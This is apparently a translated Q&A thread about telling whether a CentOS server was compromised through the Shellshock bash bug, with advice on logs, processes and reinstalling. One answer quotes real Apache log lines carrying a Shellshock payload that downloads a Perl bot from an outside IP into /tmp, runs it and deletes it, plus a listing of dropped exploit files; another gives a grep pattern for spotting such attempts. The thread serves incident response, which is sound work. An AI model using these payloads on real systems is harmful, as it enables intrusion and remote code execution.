Shellshock: Bagaimana saya tahu jika server saya dikompromikan + file mencurigakan yang harus diperhatikan


18

Tiga pertanyaan yang saya harap seseorang dapat membantu menjawab:

  1. Bagaimana saya tahu jika server saya sudah dikompromikan karena bug Shellshock?
  2. Jika itu dikompromikan, apakah ada folder tertentu di mana saya harus mencari file berbahaya?
  3. Bagaimana rupa file berbahaya?

Saya menjalankan CentOS 6, tumpukan LEMP

Jawaban:


36

Bagaimana saya tahu jika server saya sudah dikompromikan karena bug Shellshock?

Kamu tidak. Itulah gagasan kerentanan keamanan. Jika Anda harus mengklik Biarkan cracker masuk? OK / Batalkan itu tidak akan jauh dari kerentanan.

Anda mungkin beruntung memeriksa log vektor serangan Anda, tetapi mengingat begitu banyak layanan yang rentan dan tidak semuanya mencatat setiap akses, kemungkinan tidak mungkin menemukan serangan secara meyakinkan.

Jika itu dikompromikan, apakah ada folder tertentu di mana saya harus mencari file berbahaya?

Tidak, file jahat bisa ada di mana saja.

Rootkit umum menginstal sendiri di /rootatau /atau /tmpatau salah satu jalur biner tetapi sebenarnya mereka bisa di mana saja. Mereka mungkin memiliki nama yang mirip dengan layanan nyata atau sesuatu yang "penting" terlihat seperti " IPTables" atau " kernel-bin" tetapi mereka juga bisa berupa rangkaian karakter acak atau nama yang sama dengan biner asli (hanya di jalur yang berbeda). Anda dapat melihat rootkit memuat /etc/rc.localatau membuat koneksi melalui netstat -neopa. Cari nama proses yang mencurigakan di top -c.

Yang kurang umum dan jauh lebih sulit untuk menemukan rootkit menggantikan perpustakaan atau memuat dirinya sebagai perpustakaan shim dan memotong panggilan sistem. Ini hampir tidak mungkin ditemukan kecuali Anda strace / ltrace setiap hal yang berjalan di sistem Anda dan membandingkan perilaku dengan perilaku yang diharapkan dari sistem atau kode sumber yang dikenal baik.

Akan lebih cepat, lebih mudah, dan lebih konklusif untuk hanya memuat ulang sistem.

Bagaimana rupa file berbahaya?

Mungkin seperti biner atau pustaka ELF biasa lainnya. Mungkin juga skrip.

Kesimpulannya, jika Anda berpikir ada kemungkinan sistem Anda telah dikompromikan, perlakukan sistem tersebut seolah-olah telah dikompromikan dan ambil tindakan yang diperlukan.


14
+1 "Biarkan cracker masuk?" Pada catatan lain ... jika Anda melihat sesuatu yang bernama "IPTables" di Linux, menjadi sangat mencurigakan. UNIXian adalah CapsPhobic.
Uskup

jika Anda berpikir ada kemungkinan sistem Anda telah dikompromikan, perlakukan sistem tersebut seolah-olah telah dikompromikan dan ambil tindakan yang diperlukan. Ini berarti setiap sistem yang mungkin telah bashdiinstal dan kabel jaringan terpasang, kan?
Federico Poloni

@FedericoPoloni Hanya jika seseorang dapat memperoleh akses ke shell Anda melalui jaringan. Tetapi sebaliknya Anda benar sekali.
scai

@FedericoPoloni Saya tidak yakin apakah itu pilihan yang bijak, karena saya harus terus-menerus mematikan semua sistem, karena saya tidak pernah dapat 100% yakin bahwa mereka tidak dikompromikan, dan serius tidak ada yang bisa memastikan sistem mereka tidak dikompromikan kecuali mereka adalah idiot yang sangat optimis. Jika Anda curiga bahwa sistem Anda tidak berlaku sebagaimana mestinya, Anda harus memeriksanya dan lalu lintas jaringannya, lebih disukai dari A CLEAN OS. Saya tidak menemukan bukti gangguan Anda tidak perlu mengambil tindakan selain memperbaiki lubang. Kalau tidak, kita harus terus-menerus menginstal ulang SEMUA sistem 24x7!
Frank Waller

@ FrankWaller Saya setuju sepenuhnya. Ada selalu kemungkinan remote yang sistem telah dikompromikan dan penyerang cukup terampil untuk tidak meninggalkan jejak apapun, tapi kami tidak dapat menginstal ulang 24x7 untuk cater untuk kasus ini.
Federico Poloni

21

shellshock bukan worm jadi tidak ada file untuk dicari. Shellshock adalah cara untuk menyerang jaringan untuk mendapatkan entri. Setelah masuk siapa yang tahu apa yang akan dilakukan penyerang.


3
Jawaban ini sepertinya agak membingungkan bagi saya - mungkin terburu-buru, atau harusnya komentar, bukan jawaban. Tentu, ini bukan worm (ini adalah kerentanan, bukan bagian dari malware), tetapi tidak jelas mengapa Anda berpikir itu relevan atau mengapa itu berarti "tidak ada file yang harus dicari". Shellshock bukanlah cara untuk menyerang jaringan; ini adalah cara untuk masuk ke mesin. Ini serangan pada mesin, bukan jaringan.
DW

2
@DW Diberikan dengan sangat ringkas, tetapi jelas sebagai respons langsung terhadap kekhawatiran OP is there a particular folder where I should look for malicious files.
ᴠɪɴᴄᴇɴᴛ

5

Saya telah melihat satu upaya mengeksploitasi bug, yang akan menginstal bot IRC sebagai /var/tmp/x. Tetapi secara umum tidak ada file tertentu untuk dicari, karena mereka bisa di mana saja atau di mana saja.

Jika Anda dikompromikan melalui server web, maka setiap file atau proses baru yang dimiliki oleh pengguna server web akan mencurigakan.

Jika penyerang menggunakan bashbug pertama kali untuk masuk ke sistem dan selanjutnya menjadi kerentanan lokal root, itu bisa menjadi hampir mustahil untuk dikenali.

Lihat juga pertanyaan serupa ini .


+1 untuk gagasan kepemilikan pengguna server web
Xan

4

Saya akan menggemakan jawaban dari suprjami dan mengatakan bahwa jika sistem Anda rentan maka Anda harus memperlakukannya sebagai kompromi.

Jika Anda menjalankan apache, Anda dapat memeriksa log untuk upaya intrusi Shellshock dengan perintah berikut:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Perintah ini mengekstrak semua baris yang mengandung "cgi" dari log akses Apache (secara default disebut access_log, access_log.1, access_log.2 dll) kemudian menyalurkannya ke egrep dengan regex.

(Sumber: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )


Perhatikan bahwa untuk konfigurasi default Apache, ini hanya akan menampilkan serangan di URL tujuan dan di header "User-Agent" dan "Referer". Serangan di header seperti "Cookie" atau "X-Ploit" tidak akan dicatat.
Markus

1
@ Markus Tentu saja, saya seharusnya menyebutkan itu.
Ralph

1
Tentu saja, hal pertama yang dilakukan oleh penyerang yang menghargai diri sendiri adalah menghapus setiap petunjuk serangan dari log ... itulah sebabnya log harus ditulis sekali dan jauh!
Jörg W Mittag

4

Karena ada beberapa vektor serangan untuk Shellshock, beberapa di antaranya belum diketahui oleh masyarakat umum atau disebabkan oleh skrip CGI khusus, tidak ada cara pasti untuk mengetahui apakah Anda dikompromikan atau tidak.

Selain biasa "mari kita lihat apakah beberapa file sistem telah berubah atau sesuatu yang mencurigakan telah terjadi akhir-akhir ini" pendekatan Anda mungkin ingin mengawasi perilaku server Anda.

  1. Apakah tiba-tiba ada lebih banyak lalu lintas jaringan?
  2. Apakah penggunaan CPU / memori banyak berubah?
  3. Apakah sesuatu memakan ruang disk atau menyebabkan lebih banyak I / O lebih dari biasanya?
  4. Apakah netstatmenunjukkan koneksi jaringan yang aneh atau ps auxmenunjukkan proses yang tidak Anda kenali?
  5. Apakah server Anda tiba-tiba mengirim lebih banyak email daripada sebelumnya?

Jika Anda memiliki pemantauan kesehatan server yang benar (seperti Zabbix) dan berjalan, ini dapat membantu Anda mengetahui pelanggaran keamanan juga. Anda juga dapat membandingkan jumlah file sistem MD5 / SHA dengan cadangan yang dikenal baik.

Pada dasarnya hanya bertindak sebagai server Anda telah dikompromikan dan menyelidiki semua yang dapat Anda pikirkan.


4

Saya hanya senang membersihkan sistem Plesk yang lebih tua. Hal pertama yang memberikannya adalah banyak proses yang mulai mendengarkan sejumlah port dan lainnya mencoba mengunduh kode dari server pemindaian asli.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Setelah log saya menemukan lubang utama adalah cgi_wrapperskrip, sesuatu yang seharusnya melindungi dan melindungi sistem adalah apa yang sebenarnya merobek lubang ke dalam perlindungan. Berikut adalah beberapa baris log dari probe dan serangan yang berhasil:

Ini adalah baris dari access_log, karena ini hanya sampel, perhatikan 200 pada dua baris sedangkan yang lain gagal dengan 404. Anda tidak perlu khawatir tentang baris yang memiliki 404 karena ini tidak berhasil, yang dengan 200 namun demikian. Pola serangan ini di sini selalu sama: 1. menemukan skrip cgi yang rentan menggunakan shellshock exploit untuk mengunduh dan menjalankan skrip perl, menghapus skrip perl lagi. Skrip perl sebenarnya akan mengunduh beberapa file sumber (tgz) mengkompilasi dan menjalankannya, dari apa yang saya lihat mereka menyertakan setidaknya backdoor dan mekanisme pembaruan otomatis, ditambah apa yang tampak seperti eksploitasi untuk mencoba dan mendapatkan hak istimewa eksekusi yang lebih tinggi. Semua skrip awal sebenarnya dieksekusi sebagai pengguna yang disediakan oleh pembungkus sementara layanan kemudian dimulai dengan PPID 1 (dimulai dari proses root)).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

Dan di sini baris error_log yang sesuai:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

File yang diunduh ke / tmp Seperti yang mungkin ditebak, saya tidak memiliki file bot.pl karena langsung dihapus.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

Setelah beberapa saat saya perhatikan koneksi ssh dari berbagai tempat seperti China yang biasanya tidak mengunjungi server kami sebanyak itu. Saya menambal bash sebagai tindakan darurat (akan menyenangkan jika telah menambal sumber yang tersedia dari Situs FSF dan bukan hanya sumber yang benar-benar TUA dan berkas tambalan (salah satunya tidak berlaku dengan benar pada awalnya). Sistem dijadwalkan selesai bersihkan sekarang, jadi jika ada yang mencari sesuatu tentang serangan itu, Anda bisa bertanya, tetapi lakukan segera.


3

Jawaban ini tidak terutama terkait dengan Shellshock tetapi untuk sistem apa pun yang Anda pikir kompromi

